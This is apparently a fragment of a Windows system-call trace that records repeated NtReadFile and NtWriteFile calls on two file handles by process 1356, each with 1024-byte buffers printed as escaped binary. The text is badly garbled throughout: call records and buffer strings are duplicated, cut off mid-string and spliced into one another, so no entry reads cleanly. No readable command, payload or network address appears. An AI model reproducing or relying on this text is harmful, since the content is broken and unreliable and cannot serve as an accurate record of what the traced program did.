q^\251\376%v\327\250\5\257\335Y.?-<9#35c\361q4Y:?\373{.>\31\35Z8?%\334-\358\33\33\31a\26\246\24\277\22\215\20\204\16\377\14\357\12\322\10\300\6::\314<>>\37\35\35\34\30\20/\229\24e\26Q\30\241\32\275\34\222\36\353\0\342\2\7\5s\7T\11A\13\256\15\227\17\370*", ) \36\271\37\215\35\221\33\235\31'\226\26\356\24\346\22\376\200\347\15\357\13\327\11\337\7\231\324\4\310\2\304\177\221l]\224\374!&\23C\36\307\31\12\340\352/$E,0b\316'\327\356u46\263\275\36\33<0\265\267\2178\1\36\31\243\3452#\212\215&&x)<', (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\21_\171D\14H\12\264\10\260\6:\265\3\251\1\245$\274"\36\271\37\215\35\221\33\235\31'\226\26\356\24\346\22\376\200\347\15\357\13\327\11\337\7\231\324\4\310\2\304\177\221l]\224\374!&\23C\36\307\31\12\340\352/$E,0b\316'\327\356u46\263\275\36\33<0\265\267\2178\1\36\31\243\3452#\212\215&&x)<',"\177/\17\2034fe\336%8\326\273\3779?\4\374;\270K\225\356\310\240 \327$S`;h\240]\353\251G/\357Sw3ad\274B\238\35\375\177\30\35??\30\14\224\252;\10\341%\344\240\1h\3\250(*/\354(6%\2620.341\311"\270\3458:<\276\306>o\26.\336A4\240\346b3\346\247J(&*$,". 0\316=3;597795;3=1?\24\34\342\21\37/!-#+%)'')%+#-\321 0>2<4:6886:4<2>\300\24\34\22\36\20 .",$*%$\243\347\241\357\255%nE1Y22\2\225(]<;j{8\371><\37\364\23\2\2772a&\343%\351&$-h\312,\210\11\276/3\2672\16dVX\317\331"r\32};\327\2156\324\274oU\340\7'(v\243\347\177]\252=\257\25..D \262l0%\211\2674\262\375d\265\14~dE\337w\2u q^\251\376%v\327\250\5\257\335Y.?-<9#35c\361q4Y:?\373{.>\31\35Z8?%\334-\358\33\33\31a\26\246\24\277\22\215\20\204\16\377\14\357\12\322\10\300\6::\314<>>\37\35\35\34\30\20/\229\24e\26Q\30\241\32\275\34\222\36\353\0\342\2\7\5s\7T\11A\13\256\15\227\17\370*", ) \270\3458:<\276\306>o\26.\336A4\240\346b3\346\247J(&*$, (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\21_\171D\14H\12\264\10\260\6:\265\3\251\1\245$\274"\36\271\37\215\35\221\33\235\31'\226\26\356\24\346\22\376\200\347\15\357\13\327\11\337\7\231\324\4\310\2\304\177\221l]\224\374!&\23C\36\307\31\12\340\352/$E,0b\316'\327\356u46\263\275\36\33<0\265\267\2178\1\36\31\243\3452#\212\215&&x)<',"\177/\17\2034fe\336%8\326\273\3779?\4\374;\270K\225\356\310\240 \327$S`;h\240]\353\251G/\357Sw3ad\274B\238\35\375\177\30\35??\30\14\224\252;\10\341%\344\240\1h\3\250(*/\354(6%\2620.341\311"\270\3458:<\276\306>o\26.\336A4\240\346b3\346\247J(&*$,". 0\316=3;597795;3=1?\24\34\342\21\37/!-#+%)'')%+#-\321 0>2<4:6886:4<2>\300\24\34\22\36\20 .",$*%$\243\347\241\357\255%nE1Y22\2\225(]<;j{8\371><\37\364\23\2\2772a&\343%\351&$-h\312,\210\11\276/3\2672\16dVX\317\331"r\32};\327\2156\324\274oU\340\7'(v\243\347\177]\252=\257\25..D \262l0%\211\2674\262\375d\265\14~dE\337w\2u q^\251\376%v\327\250\5\257\335Y.?-<9#35c\361q4Y:?\373{.>\31\35Z8?%\334-\358\33\33\31a\26\246\24\277\22\215\20\204\16\377\14\357\12\322\10\300\6::\314<>>\37\35\35\34\30\20/\229\24e\26Q\30\241\32\275\34\222\36\353\0\342\2\7\5s\7T\11A\13\256\15\227\17\370*", ) ,$*%$\243\347\241\357\255%nE1Y22\2\225(]<;j{8\371><\37\364\23\2\2772a&\343%\351&$-h\312,\210\11\276/3\2672\16dVX\317\331 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\21_\171D\14H\12\264\10\260\6:\265\3\251\1\245$\274"\36\271\37\215\35\221\33\235\31'\226\26\356\24\346\22\376\200\347\15\357\13\327\11\337\7\231\324\4\310\2\304\177\221l]\224\374!&\23C\36\307\31\12\340\352/$E,0b\316'\327\356u46\263\275\36\33<0\265\267\2178\1\36\31\243\3452#\212\215&&x)<',"\177/\17\2034fe\336%8\326\273\3779?\4\374;\270K\225\356\310\240 \327$S`;h\240]\353\251G/\357Sw3ad\274B\238\35\375\177\30\35??\30\14\224\252;\10\341%\344\240\1h\3\250(*/\354(6%\2620.341\311"\270\3458:<\276\306>o\26.\336A4\240\346b3\346\247J(&*$,". 0\316=3;597795;3=1?\24\34\342\21\37/!-#+%)'')%+#-\321 0>2<4:6886:4<2>\300\24\34\22\36\20 .",$*%$\243\347\241\357\255%nE1Y22\2\225(]<;j{8\371><\37\364\23\2\2772a&\343%\351&$-h\312,\210\11\276/3\2672\16dVX\317\331"r\32};\327\2156\324\274oU\340\7'(v\243\347\177]\252=\257\25..D \262l0%\211\2674\262\375d\265\14~dE\337w\2u q^\251\376%v\327\250\5\257\335Y.?-<9#35c\361q4Y:?\373{.>\31\35Z8?%\334-\358\33\33\31a\26\246\24\277\22\215\20\204\16\377\14\357\12\322\10\300\6::\314<>>\37\35\35\34\30\20/\229\24e\26Q\30\241\32\275\34\222\36\353\0\342\2\7\5s\7T\11A\13\256\15\227\17\370*", ) , ) == 0x0
 01127  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "K\231}!\30DO\240\252\5\276\300\266\331\2403\220)\226\345Dr\375pC\316U\227Z\347xh?\15\251\324G\224\276\311\365P\254\3\374*\379\225\223\226\336\35+\207c\340\245\200\245\321e`\204\270\306H$\324NS\314i\304\201\352k\307\334\264\353\341'\352\3145\337\274\2\275y\263'Kl\365\352\303\377\324~(\267\207\23\32o\305\7v\2053\273\360\377k_\251s\260\35"wyH\33E#\333\`\232\27(\331\242\231\14\371\354\303k$\20@\201\362=\234\241q\363\11\0\305\265\364\31\355M\337(q\300H\201\235n\0\247\311Tu\35Vo\230\3537F\232}\315d\231$\273\33}\370\23\214\367\27qOfLk\7y\367\217:\373#\326\277\14\224\204:\202?\205X\333!_#b\15p\202%\366\351\344\330\334\10,\217\353\243\225\304\262,\10\200V\261\203\361\241n-\215\249:\365\341e60i\305\22\373\340\374\273\360}dr[RP\32\37;'\322\243\372\303X5\371\337\3\274\325v\263L\332\326\345\255L\274\36\267]\25\354\233\262\335\275@\203\317\177)<\233\217\264;\3625?R!\374\26\24']3\3065+\353\37\250\207\17\2516\331v\13y\327\220}\22\257\266\332\347T\245mp\357]r\17\356\234n\32He\25g\N|e\232}$\313\303\31\210\17\346\3"\350o\322k8N\10#.\363T\335;\233\344\7\313\356AS\312\343\25&\1\213,\334\317\35\373,\5\212\262\240\360\320\227\221\321\272\241n)\321!h\264\2\261\222\224\312\362\375\220\11\275o\375\326\3671\340\247c\346\373^\325Sq\253\3525\224F\306\362\215\301\275c5\3\30\356\350\246\233\363\320\277\22\210\375\343\0\355\203S\5\202[\354cDud\3\354\214Rpc\30O\375C\177\362", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) wyH\33E#\333\`\232\27(\331\242\231\14\371\354\303k$\20@\201\362=\234\241q\363\11\0\305\265\364\31\355M\337(q\300H\201\235n\0\247\311Tu\35Vo\230\3537F\232}\315d\231$\273\33}\370\23\214\367\27qOfLk\7y\367\217:\373#\326\277\14\224\204:\202?\205X\333!_#b\15p\202%\366\351\344\330\334\10,\217\353\243\225\304\262,\10\200V\261\203\361\241n-\215\249:\365\341e60i\305\22\373\340\374\273\360}dr[RP\32\37;'\322\243\372\303X5\371\337\3\274\325v\263L\332\326\345\255L\274\36\267]\25\354\233\262\335\275@\203\317\177)<\233\217\264;\3625?R!\374\26\24']3\3065+\353\37\250\207\17\2516\331v\13y\327\220}\22\257\266\332\347T\245mp\357]r\17\356\234n\32He\25g\N|e\232}$\313\303\31\210\17\346\3 (92, 0, 0, 0, "K\231}!\30DO\240\252\5\276\300\266\331\2403\220)\226\345Dr\375pC\316U\227Z\347xh?\15\251\324G\224\276\311\365P\254\3\374*\379\225\223\226\336\35+\207c\340\245\200\245\321e`\204\270\306H$\324NS\314i\304\201\352k\307\334\264\353\341'\352\3145\337\274\2\275y\263'Kl\365\352\303\377\324~(\267\207\23\32o\305\7v\2053\273\360\377k_\251s\260\35"wyH\33E#\333\`\232\27(\331\242\231\14\371\354\303k$\20@\201\362=\234\241q\363\11\0\305\265\364\31\355M\337(q\300H\201\235n\0\247\311Tu\35Vo\230\3537F\232}\315d\231$\273\33}\370\23\214\367\27qOfLk\7y\367\217:\373#\326\277\14\224\204:\202?\205X\333!_#b\15p\202%\366\351\344\330\334\10,\217\353\243\225\304\262,\10\200V\261\203\361\241n-\215\249:\365\341e60i\305\22\373\340\374\273\360}dr[RP\32\37;'\322\243\372\303X5\371\337\3\274\325v\263L\332\326\345\255L\274\36\267]\25\354\233\262\335\275@\203\317\177)<\233\217\264;\3625?R!\374\26\24']3\3065+\353\37\250\207\17\2516\331v\13y\327\220}\22\257\266\332\347T\245mp\357]r\17\356\234n\32He\25g\N|e\232}$\313\303\31\210\17\346\3"\350o\322k8N\10#.\363T\335;\233\344\7\313\356AS\312\343\25&\1\213,\334\317\35\373,\5\212\262\240\360\320\227\221\321\272\241n)\321!h\264\2\261\222\224\312\362\375\220\11\275o\375\326\3671\340\247c\346\373^\325Sq\253\3525\224F\306\362\215\301\275c5\3\30\356\350\246\233\363\320\277\22\210\375\343\0\355\203S\5\202[\354cDud\3\354\214Rpc\30O\375C\177\362", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01128  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "Y".\5\26\352\300\14\372\213)\335/\246mq22u\274{3\232\10+\304|<\352\332\31&\50.."\15\17E($Y\10\232.|\246x+\2737\21\243\241a\306\344\3600B\3775.<\16\23\255\375\36\12J-B6e;jf6K\315\313\11\256\352\37t;3i7`t)\377p$\245u7\30{\21\22\260~\140A6\2429\31\247:\265k#A\14i'(p8\213\363\13e\336\3219\370;u-\276\377\25J\221-P \310\366\343"\245 3u,\301\341K-\247j\13<\367\273\322+4\276V&g\3703\377j\21 \14\23\35\3773@\17\214B\12u\2367\2340*)\256\3\306.I10\20ts\25DxZUK\37=<\377\33n\35jv\21\17FMW\27"@GK$-_LOK816\4V.^VQU+\262?8\352\336\373`3!^\0wG[G@\346\0GG:kl-':\202\254\7\322\1`\311\341\11=\15\333\5\3358\355"#=\31\377d1s3\333\363\256:\32:u\300;%F\3777\224\10\3309\276Z\33\345\3548\314\4\256\257\250A.\354\337c\301\243\347\304%\305\36\2475%+/!\201&\204\323[U9\226f=(\172zOu\267y\12\10\23\227\221\340, \240\345/\251X\344\345\251\3078=rg\273v#\23T\261\311w\26\266;\352>\270\3670\237\355\35\35\37st\257|1sv\254\10\342\31p\321\322\243a4\21bb\215]G7\244\321\2579e=.\360\344\221Q:\27 \250^\7d\315<\363\236\274\364p\254d\21t!\15\201\27\327\325k\270\35\355 \265\2252\274\265", ) .\5\26\352\300\14\372\213)\335/\246mq22u\274{3\232\10+\304|<\352\332\31&\50.. (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "Y".\5\26\352\300\14\372\213)\335/\246mq22u\274{3\232\10+\304|<\352\332\31&\50.."\15\17E($Y\10\232.|\246x+\2737\21\243\241a\306\344\3600B\3775.<\16\23\255\375\36\12J-B6e;jf6K\315\313\11\256\352\37t;3i7`t)\377p$\245u7\30{\21\22\260~\140A6\2429\31\247:\265k#A\14i'(p8\213\363\13e\336\3219\370;u-\276\377\25J\221-P \310\366\343"\245 3u,\301\341K-\247j\13<\367\273\322+4\276V&g\3703\377j\21 \14\23\35\3773@\17\214B\12u\2367\2340*)\256\3\306.I10\20ts\25DxZUK\37=<\377\33n\35jv\21\17FMW\27"@GK$-_LOK816\4V.^VQU+\262?8\352\336\373`3!^\0wG[G@\346\0GG:kl-':\202\254\7\322\1`\311\341\11=\15\333\5\3358\355"#=\31\377d1s3\333\363\256:\32:u\300;%F\3777\224\10\3309\276Z\33\345\3548\314\4\256\257\250A.\354\337c\301\243\347\304%\305\36\2475%+/!\201&\204\323[U9\226f=(\172zOu\267y\12\10\23\227\221\340, \240\345/\251X\344\345\251\3078=rg\273v#\23T\261\311w\26\266;\352>\270\3670\237\355\35\35\37st\257|1sv\254\10\342\31p\321\322\243a4\21bb\215]G7\244\321\2579e=.\360\344\221Q:\27 \250^\7d\315<\363\236\274\364p\254d\21t!\15\201\27\327\325k\270\35\355 \265\2252\274\265", ) \245 3u,\301\341K-\247j\13<\367\273\322+4\276V&g\3703\377j\21 \14\23\35\3773@\17\214B\12u\2367\2340*)\256\3\306.I10\20ts\25DxZUK\37=<\377\33n\35jv\21\17FMW\27 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "Y".\5\26\352\300\14\372\213)\335/\246mq22u\274{3\232\10+\304|<\352\332\31&\50.."\15\17E($Y\10\232.|\246x+\2737\21\243\241a\306\344\3600B\3775.<\16\23\255\375\36\12J-B6e;jf6K\315\313\11\256\352\37t;3i7`t)\377p$\245u7\30{\21\22\260~\140A6\2429\31\247:\265k#A\14i'(p8\213\363\13e\336\3219\370;u-\276\377\25J\221-P \310\366\343"\245 3u,\301\341K-\247j\13<\367\273\322+4\276V&g\3703\377j\21 \14\23\35\3773@\17\214B\12u\2367\2340*)\256\3\306.I10\20ts\25DxZUK\37=<\377\33n\35jv\21\17FMW\27"@GK$-_LOK816\4V.^VQU+\262?8\352\336\373`3!^\0wG[G@\346\0GG:kl-':\202\254\7\322\1`\311\341\11=\15\333\5\3358\355"#=\31\377d1s3\333\363\256:\32:u\300;%F\3777\224\10\3309\276Z\33\345\3548\314\4\256\257\250A.\354\337c\301\243\347\304%\305\36\2475%+/!\201&\204\323[U9\226f=(\172zOu\267y\12\10\23\227\221\340, \240\345/\251X\344\345\251\3078=rg\273v#\23T\261\311w\26\266;\352>\270\3670\237\355\35\35\37st\257|1sv\254\10\342\31p\321\322\243a4\21bb\215]G7\244\321\2579e=.\360\344\221Q:\27 \250^\7d\315<\363\236\274\364p\254d\21t!\15\201\27\327\325k\270\35\355 \265\2252\274\265", ) #=\31\377d1s3\333\363\256:\32:u\300;%F\3777\224\10\3309\276Z\33\345\3548\314\4\256\257\250A.\354\337c\301\243\347\304%\305\36\2475%+/!\201&\204\323[U9\226f=(\172zOu\267y\12\10\23\227\221\340, \240\345/\251X\344\345\251\3078=rg\273v#\23T\261\311w\26\266;\352>\270\3670\237\355\35\35\37st\257|1sv\254\10\342\31p\321\322\243a4\21bb\215]G7\244\321\2579e=.\360\344\221Q:\27 \250^\7d\315325\237\325\252\2\254\6(\273\37\262\36`\264\33?j\321\277\261\26<><\363\236\274\364p\254d\21t!\15\201\27\327\325k\270\35\355 \265\2252\274\265", ) == 0x0
 01129  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\3228M\20\267\177P\345\350\227p\227uc\314\230N\177\13\245E\367\231\275\5#\270\221\227\352\7X\247\213\227\340\370X\236soU\20qS\316\355S\370\357\32\2\Vs@X\215\224H\14J\333\215\336\267\340hQ\25\327\213=\266\205\260HY\302\341$\274\27)S-h_<\275\271-\270\37\11<\256\366\327X\3016> \317-P6\16#\311y~s\252\214\14$\263\21\271X\310\330\262\2456U\351\322\14\33\206\367\315\27L\20\213\4fE\2768\256\301\300M\315pId\277%X\177'\347\278D\34g\307\25", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01130  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\217>hi\267\220!]\356\37v\336\365\3$\275\255\12\24\3303\273l}D\171\247\347\235\224Bf\3739\261\16\255>9\360\317?\7\13}\362\301v\335\6\6\367\3047+\253\322\316*X\317\236W;\321b\224P_\314\5\372=\274\356\177\34\7\221a\276s\201'\302$\326\213\255\5kh\212\334\375dO0acrc\334\364\2527:9S![4\375`EGQ\335u\301\21\222)\200\340f&\320\271+_\366\226\357\7\273\362\2222\267\301*\266\30\272\5\304I*\314?|?\31/\1h#\2313\25ia&w\27t\110\375 \260;>2\374O\303B\37`\262\10\273\374b`\375\37\34\34()q\241 q\314D\241%v\252(\13l\247\251F410\3^\2257\274\360\306(I=PO(\33X9\12\224\357q\3122\11\203"\310\250cz!\232\335+\213\2741\314\314\\31764\307\354\\261\3771\2365\2362\235\233\317*,2|zx\236\207\275r\251\357\310!\355\2370\22<4:6886:\3043=1?\24\34\22\36\20 .",$*&\330'", ) \310\250cz!\232\335+\213\2741\314\314\\31764\307\354\\261\3771\2365\2362\235\233\317*,2|zx\236\207\275r\251\357\310!\355\2370\22<4:6886:\3043=1?\24\34\22\36\20 . (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\217>hi\267\220!]\356\37v\336\365\3$\275\255\12\24\3303\273l}D\171\247\347\235\224Bf\3739\261\16\255>9\360\317?\7\13}\362\301v\335\6\6\367\3047+\253\322\316*X\317\236W;\321b\224P_\314\5\372=\274\356\177\34\7\221a\276s\201'\302$\326\213\255\5kh\212\334\375dO0acrc\334\364\2527:9S![4\375`EGQ\335u\301\21\222)\200\340f&\320\271+_\366\226\357\7\273\362\2222\267\301*\266\30\272\5\304I*\314?|?\31/\1h#\2313\25ia&w\27t\110\375 \260;>2\374O\303B\37`\262\10\273\374b`\375\37\34\34()q\241 q\314D\241%v\252(\13l\247\251F410\3^\2257\274\360\306(I=PO(\33X9\12\224\357q\3122\11\203"\310\250cz!\232\335+\213\2741\314\314\\31764\307\354\\261\3771\2365\2362\235\233\317*,2|zx\236\207\275r\251\357\310!\355\2370\22<4:6886:\3043=1?\24\34\22\36\20 .",$*&\330'", ) , ) == 0x0
 01131  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "f'\3526\226\6\333r$\1\14\304\302U/\227d\234@~\243\344\322\205%$\16by\5\304\362\247\340t\12\337\275i'/\270\277\3X5\213^\206\361\260(\20\31\2439\312\306\223\13@\217t\335=e\12\204\236]X\14\26\275\231\234)"\316\263x\345\241\248g\344+\367#\262\252\273\216\251\331\1`+\17\306K\221<\236H\345\345v\335G`\221\1\225\33\217\233D\20\2524\274zS\244]\30I\32_A$<>Y\241\224D\357\206\270\15})\220\242\254&b%\22S\371D\261P+\207\262\234\321\322`\360\224w|n#J\341\27\335!x\303\374d-w\306\2032\344\217J\370_.D\363\214JE\243\201\364\221\3228\346H\300L[\3\26l!\331\333\347qCL\341G#\226t\227\363\227L\270\232o\272:\336\16\370\350$@P%d\234\200uT'(IW'\5N\2366\333\216"\317"\263M\20\322g\261\216\13\250`\244\17\205+\247\15\357\230\253\356~\231U%\252\245\254\355h\303\277\11\17\366\360\324\300\4V+Q~\325\376\364\30\306H\264\241\213\313\271M\24\342>k\30x2\302J\230\2609lMU\14\233\274\350\3553Ky%8&{\3732\346\15\306BxQ\346#\300\310\314H\313\2438Z\264>\13E\15B;\274\230\33\252\270\300?\35\241fb`\306\354[\332)\7\352\374X\0e\2t'\205\355\346\300\344\236~\2+\201\243v\350$\305D\17h\302U\371\214i`\222\301\326\5\333DQ&\211\265W\265\324\352\331Tn\357\375\264[\252)\201\373U\243\340\210\33\346|\260\302\223\30Y\211np4\22\200\263\6D\3>IR\227\336\222\27\316\216\353\3130\3672a>\203s\276\3\333A\242\312\351>Q\233\355\230\252\304\311", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \316\263x\345\241\248g\344+\367#\262\252\273\216\251\331\1`+\17\306K\221<\236H\345\345v\335G`\221\1\225\33\217\233D\20\2524\274zS\244]\30I\32_A$<>Y\241\224D\357\206\270\15})\220\242\254&b%\22S\371D\261P+\207\262\234\321\322`\360\224w|n#J\341\27\335!x\303\374d-w\306\2032\344\217J\370_.D\363\214JE\243\201\364\221\3228\346H\300L[\3\26l!\331\333\347qCL\341G#\226t\227\363\227L\270\232o\272:\336\16\370\350$@P%d\234\200uT'(IW'\5N\2366\333\2163\354iM (92, 0, 0, 0, "f'\3526\226\6\333r$\1\14\304\302U/\227d\234@~\243\344\322\205%$\16by\5\304\362\247\340t\12\337\275i'/\270\277\3X5\213^\206\361\260(\20\31\2439\312\306\223\13@\217t\335=e\12\204\236]X\14\26\275\231\234)"\316\263x\345\241\248g\344+\367#\262\252\273\216\251\331\1`+\17\306K\221<\236H\345\345v\335G`\221\1\225\33\217\233D\20\2524\274zS\244]\30I\32_A$<>Y\241\224D\357\206\270\15})\220\242\254&b%\22S\371D\261P+\207\262\234\321\322`\360\224w|n#J\341\27\335!x\303\374d-w\306\2032\344\217J\370_.D\363\214JE\243\201\364\221\3228\346H\300L[\3\26l!\331\333\347qCL\341G#\226t\227\363\227L\270\232o\272:\336\16\370\350$@P%d\234\200uT'(IW'\5N\2366\333\216"\317"\263M\20\322g\261\216\13\250`\244\17\205+\247\15\357\230\253\356~\231U%\252\245\254\355h\303\277\11\17\366\360\324\300\4V+Q~\325\376\364\30\306H\264\241\213\313\271M\24\342>k\30x2\302J\230\2609lMU\14\233\274\350\3553Ky%8&{\3732\346\15\306BxQ\346#\300\310\314H\313\2438Z\264>\13E\15B;\274\230\33\252\270\300?\35\241fb`\306\354[\332)\7\352\374X\0e\2t'\205\355\346\300\344\236~\2+\201\243v\350$\305D\17h\302U\371\214i`\222\301\326\5\333DQ&\211\265W\265\324\352\331Tn\357\375\264[\252)\201\373U\243\340\210\33\346|\260\302\223\30Y\211np4\22\200\263\6D\3>IR\227\336\222\27\316\216\353\3130\3672a>\203s\276\3\333A\242\312\351>Q\233\355\230\252\304\311", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \263M\20\322g\261\216\13\250`\244\17\205+\247\15\357\230\253\356~\231U%\252\245\254\355h\303\277\11\17\366\360\324\300\4V+Q~\325\376\364\30\306H\264\241\213\313\271M\24\342>k\30x2\302J\230\2609lMU\14\233\274\350\3553Ky%8&{\3732\346\15\306BxQ\346#\300\310\314H\313\2438Z\264>\13E\15B;\274\230\33\252\270\300?\35\241fb`\306\354[\332)\7\352\374X\0e\2t'\205\355\346\300\344\236~\2+\201\243v\350$\305D\17h\302U\371\214i`\222\301\326\5\333DQ&\211\265W\265\324\352\331Tn\357\375\264[\252)\201\373U\243\340\210\33\346|\260\302\223\30Y\211np4\22\200\263\6D\3>IR\227\336\222\27\316\216\353\3130\3672a>\203s\276\3\333A\242\312\351>Q\233\355\230\252\304\311", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01132  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "K\271\2427\265\331\3627>98m\261\271\32\207\33\36\35\34w$ i\247L\221\247!z\326\375}l%n3Z\3b\333}70h\352gX?cc\34\245[\330#!\7\243\254A\241tv\255\273\149\253\222dz\245lp F?\366?\267\1\374\2739\337\362\211\34;\373!c\6\252\320\6\12(\362\371\367\7\0"\370\14'\370\316\0\37:1,2:6\373\263x>ml9\3267[Z\226\26\224T\5\362/\247\341"\346-\200\12\2\362'\211 556\2637=fg;Me8\3572=\5\25\315\225\233O9qb#0\22"\313\235\255+\260\255,\276\2521\1\35\13\2414\\347\2518\341z<\333\333>;.e\267\372!1\244d%\215c&\30l+\276\234*\366j1ar21m\2436\230o:8,\320\252>k\3647\354\214\272;!\340+&\306.B-\302\233\337$\36\261\361 9;\277$\277'\227\12\366\307R a\277$\14z\314C\11\5$\5\27\215\14\315H}l\23~\3774\25\23&|\214\20\272\350F\322\205/\277*p\35=\20F<$\344\3.i\200&G\301k\257.\15 x\33\3651\23>\22\40\207\12?\333\235\203\28\322\36\344z\370\32\315\204"\373D\314\304\204(\312/\377\351-\317*r\367\3623\21457<\311<\273\220\303u\15\371\372\35W-\252\0#r\20\340\351gl\33>\302\245m*f\34\356\327\227\363\201\326\232\371\215a\233+\321\223\347\3\364\26\376S\320\214\212#,\321\213\221>h\3\302\201VN*\334\234Ur6X\337\232n:84\270\356><\33\11\31\33\375)"6\326\341\330\330\253)\354K\241i\12#`\272"\375\334\32\3707\2741\267o\224\312\266\33?", ) \370\14'\370\316\0\37:1,2:6\373\263x>ml9\3267[Z\226\26\224T\5\362/\247\341 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "K\271\2427\265\331\3627>98m\261\271\32\207\33\36\35\34w$ i\247L\221\247!z\326\375}l%n3Z\3b\333}70h\352gX?cc\34\245[\330#!\7\243\254A\241tv\255\273\149\253\222dz\245lp F?\366?\267\1\374\2739\337\362\211\34;\373!c\6\252\320\6\12(\362\371\367\7\0"\370\14'\370\316\0\37:1,2:6\373\263x>ml9\3267[Z\226\26\224T\5\362/\247\341"\346-\200\12\2\362'\211 556\2637=fg;Me8\3572=\5\25\315\225\233O9qb#0\22"\313\235\255+\260\255,\276\2521\1\35\13\2414\\347\2518\341z<\333\333>;.e\267\372!1\244d%\215c&\30l+\276\234*\366j1ar21m\2436\230o:8,\320\252>k\3647\354\214\272;!\340+&\306.B-\302\233\337$\36\261\361 9;\277$\277'\227\12\366\307R a\277$\14z\314C\11\5$\5\27\215\14\315H}l\23~\3774\25\23&|\214\20\272\350F\322\205/\277*p\35=\20F<$\344\3.i\200&G\301k\257.\15 x\33\3651\23>\22\40\207\12?\333\235\203\28\322\36\344z\370\32\315\204"\373D\314\304\204(\312/\377\351-\317*r\367\3623\21457<\311<\273\220\303u\15\371\372\35W-\252\0#r\20\340\351gl\33>\302\245m*f\34\356\327\227\363\201\326\232\371\215a\233+\321\223\347\3\364\26\376S\320\214\212#,\321\213\221>h\3\302\201VN*\334\234Ur6X\337\232n:84\270\356><\33\11\31\33\375)"6\326\341\330\330\253)\354K\241i\12#`\272"\375\334\32\3707\2741\267o\224\312\266\33?", ) \313\235\255+\260\255,\276\2521\1\35\13\2414\\347\2518\341z<\333\333>;.e\267\372!1\244d%\215c&\30l+\276\234*\366j1ar21m\2436\230o:8,\320\252>k\3647\354\214\272;!\340+&\306.B-\302\233\337$\36\261\361 9;\277$\277'\227\12\366\307R a\277$\14z\314C\11\5$\5\27\215\14\315H}l\23~\3774\25\23&|\214\20\272\350F\322\205/\277*p\35=\20F<$\344\3.i\200&G\301k\257.\15 x\33\3651\23>\22\40\207\12?\333\235\203\28\322\36\344z\370\32\315\204 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "K\271\2427\265\331\3627>98m\261\271\32\207\33\36\35\34w$ i\247L\221\247!z\326\375}l%n3Z\3b\333}70h\352gX?cc\34\245[\330#!\7\243\254A\241tv\255\273\149\253\222dz\245lp F?\366?\267\1\374\2739\337\362\211\34;\373!c\6\252\320\6\12(\362\371\367\7\0"\370\14'\370\316\0\37:1,2:6\373\263x>ml9\3267[Z\226\26\224T\5\362/\247\341"\346-\200\12\2\362'\211 556\2637=fg;Me8\3572=\5\25\315\225\233O9qb#0\22"\313\235\255+\260\255,\276\2521\1\35\13\2414\\347\2518\341z<\333\333>;.e\267\372!1\244d%\215c&\30l+\276\234*\366j1ar21m\2436\230o:8,\320\252>k\3647\354\214\272;!\340+&\306.B-\302\233\337$\36\261\361 9;\277$\277'\227\12\366\307R a\277$\14z\314C\11\5$\5\27\215\14\315H}l\23~\3774\25\23&|\214\20\272\350F\322\205/\277*p\35=\20F<$\344\3.i\200&G\301k\257.\15 x\33\3651\23>\22\40\207\12?\333\235\203\28\322\36\344z\370\32\315\204"\373D\314\304\204(\312/\377\351-\317*r\367\3623\21457<\311<\273\220\303u\15\371\372\35W-\252\0#r\20\340\351gl\33>\302\245m*f\34\356\327\227\363\201\326\232\371\215a\233+\321\223\347\3\364\26\376S\320\214\212#,\321\213\221>h\3\302\201VN*\334\234Ur6X\337\232n:84\270\356><\33\11\31\33\375)"6\326\341\330\330\253)\354K\241i\12#`\272"\375\334\32\3707\2741\267o\224\312\266\33?", ) 6\326\341\330\330\253)\354K\241i\12#`\272 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "K\271\2427\265\331\3627>98m\261\271\32\207\33\36\35\34w$ i\247L\221\247!z\326\375}l%n3Z\3b\333}70h\352gX?cc\34\245[\330#!\7\243\254A\241tv\255\273\149\253\222dz\245lp F?\366?\267\1\374\2739\337\362\211\34;\373!c\6\252\320\6\12(\362\371\367\7\0"\370\14'\370\316\0\37:1,2:6\373\263x>ml9\3267[Z\226\26\224T\5\362/\247\341"\346-\200\12\2\362'\211 556\2637=fg;Me8\3572=\5\25\315\225\233O9qb#0\22"\313\235\255+\260\255,\276\2521\1\35\13\2414\\347\2518\341z<\333\333>;.e\267\372!1\244d%\215c&\30l+\276\234*\366j1ar21m\2436\230o:8,\320\252>k\3647\354\214\272;!\340+&\306.B-\302\233\337$\36\261\361 9;\277$\277'\227\12\366\307R a\277$\14z\314C\11\5$\5\27\215\14\315H}l\23~\3774\25\23&|\214\20\272\350F\322\205/\277*p\35=\20F<$\344\3.i\200&G\301k\257.\15 